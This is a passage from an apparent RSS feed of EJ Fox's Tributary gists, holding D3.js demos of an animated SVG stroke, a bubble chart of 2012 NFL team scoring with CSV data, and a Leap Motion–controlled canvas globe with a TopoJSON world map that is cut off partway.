        <code:language>JSON</code:language>
        <code:size>206</code:size>
      </code:file>
      <code:file>
        <code:filename>inlet.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>1107</code:size>
      </code:file>
      <description><![CDATA[animated stroke]]></description>
      <content:encoded><![CDATA[<h3>_.md</h3><pre><code class="language-markdown">[ &lt;a href=&quot;http://tributary.io/inlet/7493589&quot;&gt;Launch: animated stroke&lt;/a&gt; ] 7493589 by ejfox&lt;br&gt;&lt;br /&gt; [See Previous Inlet](http://enjalot.com/tributary/2958568) [ [Gist](https://gist.github.com/2958568) ]</code></pre>
<h3>config.json</h3><pre><code class="language-json">{&quot;editor_editor&quot;:{&quot;coffee&quot;:false,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;width&quot;:600,&quot;height&quot;:300,&quot;hide&quot;:false},&quot;description&quot;:&quot;animated stroke&quot;,&quot;endpoint&quot;:&quot;&quot;,&quot;display&quot;:&quot;svg&quot;,&quot;public&quot;:true,&quot;require&quot;:[],&quot;fileconfigs&quot;:{&quot;_.md&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;config.json&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;inlet.js&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;inlet.svg&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;fake_data.json&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12}},&quot;fullscreen&quot;:false,&quot;play&quot;:true,&quot;loop&quot;:false,&quot;restart&quot;:false,&quot;autoinit&quot;:true,&quot;pause&quot;:true,&quot;loop_type&quot;:&quot;period&quot;,&quot;bv&quot;:false,&quot;nclones&quot;:15,&quot;clone_opacity&quot;:0.4,&quot;duration&quot;:3000,&quot;ease&quot;:&quot;linear&quot;,&quot;dt&quot;:0.01,&quot;thumbnail&quot;:&quot;http://i.imgur.com/SKuNVhI.png&quot;,&quot;inline-console&quot;:false}</code></pre>
<h3>fake_data.json</h3><pre><code class="language-json">[0.9645322873257101,4.285244771745056,9.174702819436789,5.83910655695945,2.2934767650440335,8.156424039043486,7.9742879793047905,0.45211459044367075,5.409927302971482,0.27333585312590003,6.181703838519752]
</code></pre>
<h3>inlet.js</h3><pre><code class="language-javascript">var svg = d3.select(&quot;svg&quot;)
  .append(&quot;svg:g&quot;)

var w = tributary.w;
var h = 300;

var svg = svg
.attr(&quot;width&quot;, w)
.attr(&quot;height&quot;, h)
.attr(&quot;id&quot;, &quot;visualization&quot;)
.attr(&quot;xmlns&quot;, &quot;http://www.w3.org/2000/svg&quot;);

//var data = d3.range(11).map(function(){return Math.random()*10})
data = tributary.fake_data

var x = d3.scale.linear().domain([0, 10]).range([0, 700]);
var y = d3.scale.linear().domain([0, 10]).range([10, 290]);
var line = d3.svg.line()
.interpolate(&quot;cardinal&quot;)
.x(function(d,i) {return x(i);})
.y(function(d) {return y(d);})

var path = svg.append(&quot;path&quot;)
.attr(&quot;d&quot;, line(data))
.attr(&quot;stroke&quot;, &quot;steelblue&quot;)
.attr(&quot;stroke-width&quot;, &quot;2&quot;)
.attr(&quot;fill&quot;, &quot;none&quot;);

var totalLength = path.node().getTotalLength();

path
.attr(&quot;stroke-dasharray&quot;, totalLength + &quot; &quot; + totalLength)
.attr(&quot;stroke-dashoffset&quot;, totalLength)
/*
.transition()
  .duration(2000)
  .ease(&quot;linear&quot;)
  .attr(&quot;stroke-dashoffset&quot;, 0);
*/


function updatePath(progress) {
 path
  .attr(&quot;stroke-dasharray&quot;, totalLength + &quot; &quot; + totalLength)
  .attr(&quot;stroke-dashoffset&quot;, totalLength - (totalLength * progress))
}


updatePath(0.7176)

</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[NFL stats]]></title>
      <link>https://gist.github.com/6759828</link>
      <guid isPermaLink="true">https://gist.github.com/6759828</guid>
      <pubDate>Mon, 30 Sep 2013 05:58:40 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2020-01-20T19:29:37.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>config.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>712</code:size>
      </code:file>
      <code:file>
        <code:filename>inlet.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>2364</code:size>
      </code:file>
      <code:file>
        <code:filename>nfl.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>2126</code:size>
      </code:file>
      <code:file>
        <code:filename>style.css</code:filename>
        <code:language>CSS</code:language>
        <code:size>69</code:size>
      </code:file>
      <description><![CDATA[NFL stats]]></description>
      <content:encoded><![CDATA[<h3>config.json</h3><pre><code class="language-json">{&quot;description&quot;:&quot;NFL stats&quot;,&quot;endpoint&quot;:&quot;&quot;,&quot;display&quot;:&quot;svg&quot;,&quot;public&quot;:true,&quot;require&quot;:[],&quot;fileconfigs&quot;:{&quot;inlet.js&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;nfl.csv&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;config.json&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;style.css&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;newtipsy.js&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12}},&quot;fullscreen&quot;:false,&quot;play&quot;:false,&quot;loop&quot;:false,&quot;restart&quot;:false,&quot;autoinit&quot;:true,&quot;pause&quot;:true,&quot;loop_type&quot;:&quot;pingpong&quot;,&quot;bv&quot;:false,&quot;nclones&quot;:15,&quot;clone_opacity&quot;:0.4,&quot;duration&quot;:3000,&quot;ease&quot;:&quot;linear&quot;,&quot;dt&quot;:0.01,&quot;thumbnail&quot;:&quot;http://i.imgur.com/ouPVDep.png&quot;,&quot;inline-console&quot;:true}</code></pre>
<h3>inlet.js</h3><pre><code class="language-javascript">// CSV header
// Rk,Tm,G,RshTD,RecTD,PRTD,KRTD,FblTD,IntTD,OthTD,AllTD,2PM,XPM,FGM,Sfty,Pts
//
// data from http://www.pro-football-reference.com/years/2012/

var nfl = tributary.nfl.map(function(d) {
  return {
    rank: +d.Rk
    ,team: d.Tm
    ,gamesPlayed: +d.G
    ,rushTD: +d.RshTD
    ,recTD: +d.RecTD
    ,puntReturnTD: +d.PRTD
    ,kickReturnTD: +d.KRTD
    ,fumbleTD: +d.FblTD
    ,interceptionTD: +d.IntTD
    ,allTD: +d.AllTD
    ,totalPoints: +d.Pts
  }
})

var circleSize = 92;
var yMargin = circleSize*2;
var leftMargin = 218;

var rScale_allTD = d3.scale.linear()
                     .domain([0, d3.max(nfl, function(d) { return d.allTD; })])
                     .range([2, circleSize]);

var rScale_allPoints = d3.scale.linear()
                     .domain([0, d3.max(nfl, function(d) { return d.totalPoints; })])
                     .range([2, 2000]);


//console.log(nfl)

var svg = d3.select(&quot;svg&quot;).attr(&quot;height&quot;, 3000);



var bg = svg.selectAll(&quot;g.container&quot;)
.data(nfl)

bg.enter()
.append(&quot;circle&quot;)
.attr(&quot;r&quot;, function(d,i){ //console.log(d); 
  return rScale_allTD(d.allTD); })
//.attr(&quot;height&quot;, 20)
.attr(&quot;cy&quot;, function(d,i){ return i * yMargin})
.attr(&quot;title&quot;, function(d,i){ return d.team})
.attr(&quot;transform&quot;, &quot;translate(&quot;+leftMargin+&quot;,200)&quot;)

bg.enter()
.append(&quot;circle&quot;)
.attr(&quot;r&quot;, function(d,i){ //console.log(d); 
  return rScale_allTD(d.recTD); })
//.attr(&quot;height&quot;, 20)
.attr(&quot;cy&quot;, function(d,i){ return i * yMargin})
.attr(&quot;title&quot;, function(d,i){ return d.recTD + &quot; of &quot;+ d.allTD +&quot; TDs were receptions&quot;;})
.attr(&quot;transform&quot;, &quot;translate(&quot;+leftMargin+&quot;,200)&quot;)

bg.enter()
.append(&quot;circle&quot;)
.attr(&quot;r&quot;, function(d,i){ //console.log(d); 
  return rScale_allTD(d.interceptionTD); })
//.attr(&quot;height&quot;, 20)
.attr(&quot;cy&quot;, function(d,i){ return i * yMargin})
.attr(&quot;title&quot;, function(d,i){ return d.interceptionTD + &quot; of &quot;+ d.allTD +&quot; TDs were from interceptions&quot;;})
.attr(&quot;transform&quot;, &quot;translate(&quot;+leftMargin+&quot;,200)&quot;)
.attr(&quot;fill&quot;, &quot;red&quot;)

bg.enter()
.append(&quot;circle&quot;)
.attr(&quot;r&quot;, function(d,i){ //console.log(d); 
  return rScale_allPoints(d.totalPoints); })
//.attr(&quot;height&quot;, 20)
.attr(&quot;cy&quot;, function(d,i){ return i * yMargin})
.attr(&quot;title&quot;, function(d,i){ return d.totalPoints + &quot; total points&quot;;})
.attr(&quot;transform&quot;, &quot;translate(&quot;+leftMargin+&quot;,200)&quot;)
.attr(&quot;stroke&quot;, &quot;orange&quot;)
.attr(&quot;fill&quot;, &quot;none&quot;)

$(&quot;circle&quot;).tipsy({gravity: &apos;sw&apos;})</code></pre>
<h3>nfl.csv</h3><pre><code class="language-csv">Rk,Tm,G,RshTD,RecTD,PRTD,KRTD,FblTD,IntTD,OthTD,AllTD,2PM,XPM,FGM,Sfty,Pts
1,New England Patriots,16,25,34,1,1,4,2,-1,67,-1,66,29,1,557
2,Denver Broncos,16,12,37,1,1,1,5,-1,57,1,55,26,2,481
3,New Orleans Saints,16,10,43,-1,,-1,4,1,58,1,57,18,-1,461
4,Washington Redskins,16,22,24,-1,,3,3,-1,52,1,50,24,-1,436
5,Green Bay Packers,16,9,40,1,-1,1,1,1,53,1,50,21,-1,433
6,New York Giants,16,18,26,-1,1,1,1,-1,47,1,46,33,-1,429
7,Atlanta Falcons,16,12,32,-1,,1,1,-1,46,-1,44,33,-1,419
8,Houston Texans,16,19,22,-1,,-1,3,2,46,-1,45,31,1,416
9,Seattle Seahawks,16,16,27,-1,1,1,2,2,49,-1,46,24,-1,412
10,Baltimore Ravens,16,17,22,1,2,-1,2,-1,44,1,42,30,-1,398
11,San Francisco 49ers,16,17,23,-1,,2,2,-1,44,-1,44,29,1,397
12,Cincinnati Bengals,16,11,28,1,-1,1,2,-1,43,-1,43,30,-1,391
13,Tampa Bay Buccaneers,16,13,27,-1,,-1,3,1,44,1,39,28,-1,389
14,Minnesota Vikings,16,16,18,1,1,-1,3,-1,39,2,36,35,-1,379
15,Dallas Cowboys,16,8,29,1,-1,2,1,-1,41,3,37,29,-1,376
16,Chicago Bears,16,11,21,-1,,1,8,1,42,1,40,27,-1,375
17,Detroit Lions,16,17,22,-1,,-1,,-1,39,1,38,32,1,372
18,Indianapolis Colts,16,11,23,1,1,-1,4,-1,40,1,37,26,-1,357
19,Carolina Panthers,16,21,19,-1,,1,3,-1,44,-1,43,16,1,357
20,San Diego Chargers,16,4,26,1,1,2,5,-1,39,-1,39,25,1,350
21,Buffalo Bills,16,12,24,2,1,-1,1,-1,40,-1,39,21,1,344
22,Pittsburgh Steelers,16,8,27,-1,,-1,1,-1,36,1,34,28,-1,336
23,Tennessee Titans,16,10,17,3,1,1,4,-1,36,1,35,25,1,330
24,Cleveland Browns,16,12,16,1,-1,,2,-1,31,-1,29,29,-1,302
25,St. Louis Rams,16,5,22,-1,,1,4,-1,32,5,26,23,1,299
26,Oakland Raiders,16,4,24,-1,,-1,,-1,28,2,25,31,-1,290
27,Miami Dolphins,16,15,13,1,1,-1,,1,31,2,29,23,-1,288
28,New York Jets,16,12,14,1,1,1,2,-1,31,-1,30,21,1,281
29,Philadelphia Eagles,16,10,18,1,-1,,-1,,29,-1,25,27,-1,280
30,Jacksonville Jaguars,16,5,20,-1,,-1,,1,26,3,18,25,-1,255
31,Arizona Cardinals,16,10,11,-1,,1,2,1,25,-1,25,25,-1,250
32,Kansas City Chiefs,16,9,8,-1,,1,-1,,18,-1,17,28,1,211
-1,Avg Team,-1,12.5,23.7,0.6,0.4,0.8,2.2,0.3,-1,0.9,38.4,26.6,0.4,364.1
-1,League Total,-1,401,757,18,13,26,71,11,-1,29,1229,852,13,11651
-1,Avg Tm/G,-1,0.8,1.5,-1,,0.1,0.1,-1,,0.1,2.4,1.7,-1,22.8</code></pre>
<h3>style.css</h3><pre><code class="language-css">circle {
 opacity: 0.5; 
}

#display { overflow: scroll !important; }</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[simple globe canvas]]></title>
      <link>https://gist.github.com/4670598</link>
      <guid isPermaLink="true">https://gist.github.com/4670598</guid>
      <pubDate>Wed, 30 Jan 2013 04:23:13 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2015-12-11T22:38:50.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>_.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>293</code:size>
      </code:file>
      <code:file>
        <code:filename>config.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>777</code:size>
      </code:file>
      <code:file>
        <code:filename>inlet.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>1176</code:size>
      </code:file>
      <code:file>
        <code:filename>leap.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>1023</code:size>
      </code:file>
      <code:file>
        <code:filename>world110.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>95787</code:size>
      </code:file>
      <description><![CDATA[simple globe canvas]]></description>
      <content:encoded><![CDATA[<h3>_.md</h3><pre><code class="language-markdown">[ &lt;a href=&quot;http://tributary.io/inlet/4670598&quot;&gt;Launch: simple globe canvas&lt;/a&gt; ] 4670598 by ejfox&lt;br&gt;[ &lt;a href=&quot;http://tributary.io/inlet/4669854&quot;&gt;Launch: simple globe&lt;/a&gt; ] 4669854 by enjalot&lt;br&gt;[ &lt;a href=&quot;http://tributary.io/inlet/4661803&quot;&gt;Launch: Tributary inlet&lt;/a&gt; ] 4661803 by enjalot&lt;br&gt;</code></pre>
<h3>config.json</h3><pre><code class="language-json">{&quot;description&quot;:&quot;simple globe canvas&quot;,&quot;endpoint&quot;:&quot;&quot;,&quot;display&quot;:&quot;canvas&quot;,&quot;public&quot;:true,&quot;require&quot;:[{&quot;name&quot;:&quot;topojson&quot;,&quot;url&quot;:&quot;http://d3js.org/topojson.v0.min.js&quot;},{&quot;name&quot;:&quot;d3.geo.projection&quot;,&quot;url&quot;:&quot;http://d3js.org/d3.geo.projection.v0.min.js&quot;}],&quot;fileconfigs&quot;:{&quot;inlet.js&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;world110.json&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;_.md&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;config.json&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;leap.js&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12}},&quot;play&quot;:false,&quot;loop&quot;:false,&quot;restart&quot;:false,&quot;autoinit&quot;:true,&quot;pause&quot;:true,&quot;loop_type&quot;:&quot;period&quot;,&quot;bv&quot;:false,&quot;nclones&quot;:15,&quot;clone_opacity&quot;:0.4,&quot;duration&quot;:3000,&quot;ease&quot;:&quot;linear&quot;,&quot;dt&quot;:0.01}</code></pre>
<h3>inlet.js</h3><pre><code class="language-javascript">//http://bl.ocks.org/4188334

var world = tributary.world110;

var globe = {type: &quot;Sphere&quot;};
var countries = topojson.object(world, world.objects.countries)


var projection = d3.geo.orthographic()
    .scale(478)
    .translate([495, 430])
    .rotate([0,6,0])
    .clipAngle(74);

var context = tributary.ctx;

var path = d3.geo.path()
    .projection(projection)
    .context(context);

context.fillStyle = &quot;#115311&quot;;
context.beginPath();
path(countries);
context.fill();
  
context.strokeStyle = &quot;#0D3500&quot;;
context.beginPath(), path(globe), context.stroke();
  
tributary.events.off(&quot;leap&quot;);
tributary.events.on(&quot;leap&quot;, function(d) {
  if(d.pointables[0] != undefined){
    tributary.clear(); 
  }
   
    //console.log(d.pointables[0].tipPosition);
  
  	tip = d.pointables[0].tipPosition
    
    var zoom = tip[2]
    if( zoom &gt; 100 ) { zoom = 100 }
  else if ( zoom &lt; 10 ) { zoom = 10 }
    
    
    
    tip[2] = 0
    
	projection.rotate(tip)
    projection.clipAngle(zoom)
    path.projection(projection)

    context.fillStyle = &quot;#0B304D&quot;;
    context.beginPath();
    path(countries);
    context.fill();
	context.beginPath(), path(globe), context.stroke();

})
</code></pre>
<h3>leap.js</h3><pre><code class="language-javascript">if(!tributary.leap) tributary.leap = {};

var ws;

// Support both the WebSocket and MozWebSocket objects
if ((typeof(WebSocket) == &apos;undefined&apos;) &amp;&amp;
    (typeof(MozWebSocket) != &apos;undefined&apos;)) {
  WebSocket = MozWebSocket;
}

// Create the socket with event handlers
tributary.leap.init = function() {
  
  console.log(&quot;Starting&quot;);
  //Create and open the socket
  ws = new WebSocket(&quot;ws://localhost:6437/&quot;);

  // On successful connection
  ws.onopen = function(event) {
    //document.getElementById(&quot;connection&quot;).innerHTML = &quot;WebSocket connection open!&quot;;
    //$(&quot;#textoutput&quot;).html(&quot;Open...&quot;)
    console.log(&quot;Open&quot;);
  };

  // On message received
  ws.onmessage = function(event) {
    tributary.events.trigger(&quot;leap&quot;, JSON.parse(event.data));
  };

  // On socket close
  ws.onclose = function(event) {
    ws = null;
  }

  //On socket error
  ws.onerror = function(event) {
    //alert(&quot;Received error&quot;);
  };
}

//control flow. we don&apos;t want to reinit
if(!tributary.leap.initialized) {
  tributary.leap.init();
}


</code></pre>
<h3>world110.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,
  &quot;transform&quot;:{&quot;scale&quot;:[0.03600360036003601,0.017366249624962495],&quot;translate&quot;:[-180,-90]},&quot;objects&quot;:{&quot;land&quot;:{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;arcs&quot;:[[[0]],[[1]],[[2]],[[3]],[[4]],[[5]],[[6]],[[7,8]],[[9,10]],[[11]],[[12]],[[13]],[[14]],[[15]],[[16]],[[17]],[[18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28,29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41,42]],[[43]],[[44]],[[45]],[[46,47,48,49]],[[50]],[[51]],[[52]],[[53]],[[54]],[[55]],[[56]],[[57]],[[58]],[[59]],[[60]],[[61,62]],[[63]],[[64]],[[65]],[[66]],[[67]],[[68]],[[69]],[[70]],[[71]],[[72]],[[73]],[[74]],[[75,76]],[[77]],[[78]],[[79]],[[80]],[[81]],[[82]],[[83]],[[84]],[[85]],[[86]],[[87]],[[88]],[[89,90]],[[91]],[[92]],[[93]],[[94]],[[95]],[[96]],[[97]],[[98]],[[99]],[[100]],[[101]],[[102]],[[103]],[[104]],[[105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152]],[[153,154]],[[155]],[[156]],[[157]],[[158]],[[159]],[[160]],[[161,162,163,164]],[[165]],[[166]],[[167]],[[168]],[[169]],[[170]],[[171]],[[172]],[[173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277],[278,279,280,281,282]],[[283]],[[284]],[[285]],[[286]],[[287]],[[288]],[[289]],[[290]],[[291]],[[292]],[[293]],[[294]],[[295]],[[296]]]},&quot;countries&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;geometries&quot;:[{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:4,&quot;arcs&quot;:[[297,298,299,300,301,302]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:24,&quot;arcs&quot;:[[[303,304,211,305]],[[213,306,307]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:8,&quot;arcs&quot;:[[308,248,309,310,311]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:784,&quot;arcs&quot;:[[312,195,313,314,193]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:32,&quot;arcs&quot;:[[[315,10]],[[316,317,318,131,319,320]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:51,&quot;arcs&quot;:[[321,322,323,324,325]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:10,&quot;arcs&quot;:[[[0]],[[1]],[[2]],[[3]],[[4]],[[5]],[[6]],[[326]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:260,&quot;arcs&quot;:[[327]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:36,&quot;arcs&quot;:[[[13]],[[23]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:40,&quot;arcs&quot;:[[328,329,330,331,332,333,334]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:31,&quot;arcs&quot;:[[[335,-323]],[[282,336,-326,337,338]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:108,&quot;arcs&quot;:[[339,340,341]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:56,&quot;arcs&quot;:[[342,343,344,258,345]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:204,&quot;arcs&quot;:[[346,347,348,219,349]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:854,&quot;arcs&quot;:[[350,351,-347,352,353,354]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:50,&quot;arcs&quot;:[[184,355,356]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:100,&quot;arcs&quot;:[[245,357,358,359,360,361]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:44,&quot;arcs&quot;:[[[70]],[[72]],[[73]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:70,&quot;arcs&quot;:[[362,363,364]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:112,&quot;arcs&quot;:[[365,366,367,368,369]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:84,&quot;arcs&quot;:[[118,370,371]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:68,&quot;arcs&quot;:[[372,373,374,375,-321]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:76,&quot;arcs&quot;:[[376,-375,377,378,379,380,381,382,129,383,-318]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:96,&quot;arcs&quot;:[[384,47]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:64,&quot;arcs&quot;:[[385,386]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:72,&quot;arcs&quot;:[[387,388,389,390]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:140,&quot;arcs&quot;:[[391,392,393,394,395,396,397]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:124,&quot;arcs&quot;:[[[83]],[[84]],[[85]],[[86]],[[398]],[[95]],[[96]],[[98]],[[100]],[[102]],[[399,146,400,148,401,150,402,152]],[[153,403]],[[155]],[[156]],[[157]],[[158]],[[160]],[[161,404,163,405]],[[166]],[[168]],[[169]],[[171]],[[172]],[[283]],[[284]],[[286]],[[287]],[[288]],[[294]],[[295]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:756,&quot;arcs&quot;:[[406,407,408,-331]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:152,&quot;arcs&quot;:[[[409,410,411,-316]],[[-320,132,412,-373]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:156,&quot;arcs&quot;:[[[63]],[[413,177,414,415,416,417,-386,418,419,420,421,-300,422,423,424,425,426,427]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:384,&quot;arcs&quot;:[[428,429,430,-355,431,222]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:120,&quot;arcs&quot;:[[432,217,433,434,435,-397,436,437]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:180,&quot;arcs&quot;:[[438,-342,439,440,-306,212,-308,441,-395,442,443]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:178,&quot;arcs&quot;:[[214,444,-437,-396,-442,-307]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:170,&quot;arcs&quot;:[[135,445,124,446,-379,447,448]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:188,&quot;arcs&quot;:[[449,122,450,137]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:192,&quot;arcs&quot;:[[451]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:-1,&quot;arcs&quot;:[[452,76]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:196,&quot;arcs&quot;:[[-453,75]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:203,&quot;arcs&quot;:[[453,454,455,-333]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:276,&quot;arcs&quot;:[[456,-454,-332,-409,457,458,-343,459,260,460,262]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:262,&quot;arcs&quot;:[[461,462,463,203]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:208,&quot;arcs&quot;:[[[91]],[[-461,261]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:214,&quot;arcs&quot;:[[464,61]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:12,&quot;arcs&quot;:[[465,466,467,468,233,469,470,471]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:218,&quot;arcs&quot;:[[-449,472,134]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:818,&quot;arcs&quot;:[[473,474,236,475,200]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:232,&quot;arcs&quot;:[[476,202,-464,477]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:724,&quot;arcs&quot;:[[478,254,479,256]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:233,&quot;arcs&quot;:[[480,481,267]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:231,&quot;arcs&quot;:[[-463,482,483,484,485,486,487,-478]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:246,&quot;arcs&quot;:[[269,488,489,490]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:242,&quot;arcs&quot;:[[[17]],[[18]],[[19]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:238,&quot;arcs&quot;:[[491]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:250,&quot;arcs&quot;:[[[492,493,494,128,-383]],[[81]],[[495,-458,-408,496,253,-479,257,-345]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:266,&quot;arcs&quot;:[[497,-438,-445,215]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:826,&quot;arcs&quot;:[[[498,89]],[[499,500,501,502]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:268,&quot;arcs&quot;:[[503,-338,-325,504,241]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:288,&quot;arcs&quot;:[[-432,-354,505,221]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:324,&quot;arcs&quot;:[[506,225,507,508,509,-430,510]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:270,&quot;arcs&quot;:[[228,511]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:624,&quot;arcs&quot;:[[512,-508,226]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:226,&quot;arcs&quot;:[[-433,-498,216]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:300,&quot;arcs&quot;:[[[77]],[[247,-309,513,-359,514]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:304,&quot;arcs&quot;:[[515]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:320,&quot;arcs&quot;:[[516,-371,119,517,518,143]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:328,&quot;arcs&quot;:[[519,-381,520,126]]},{&quot;type&quot;:&quot;Polygon&quot;,